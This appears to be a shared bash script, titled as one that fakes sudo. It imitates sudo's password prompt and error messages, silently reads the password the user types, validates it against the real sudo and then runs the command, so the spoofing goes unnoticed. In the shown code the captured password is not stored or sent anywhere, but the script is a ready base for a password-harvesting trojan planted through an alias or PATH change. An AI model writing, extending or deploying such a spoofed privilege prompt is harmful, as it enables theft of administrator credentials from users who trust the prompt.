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Bash script that fakes sudo
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#!/bin/bash | |
# Bash hates CRLF, run 'sed -i -e "s/\r$//" script_name' to change from CRLF to LF | |
user=$(whoami) | |
sudo="/usr/bin/sudo" | |
stty -echoctl | |
if (( $# == 0 )); then | |
$sudo | |
exit $? | |
elif (( $# == 1 )) && [[ $1 == -* || $1 == --* ]]; then | |
$sudo $1 | |
exit $? | |
fi | |
$sudo -n true &>/dev/null | |
if (($? == 0)); then | |
$sudo $* | |
exit $? | |
fi | |
incorrect=0 | |
sigint_procedure() { | |
if ((incorrect > 0)); then | |
printf "\nsudo: $incorrect incorrect password attempts\n" | |
else | |
printf "\nsudo: a password is required\n" | |
fi | |
exit 1 | |
} | |
trap "sigint_procedure" SIGINT | |
for _ in {1..3}; do | |
printf "[sudo] password for $user: " | |
read -s password | |
printf "\n" | |
echo $password | $sudo -S true &> /dev/null | |
if (($? != 0)); then | |
if ((incorrect + 1 < 3)); then | |
echo "Sorry, try again." | |
fi | |
((incorrect++)) | |
else | |
$sudo $* | |
exit $? | |
fi | |
done | |
echo "sudo: $incorrect incorrect password attempts" | |
exit 1 |
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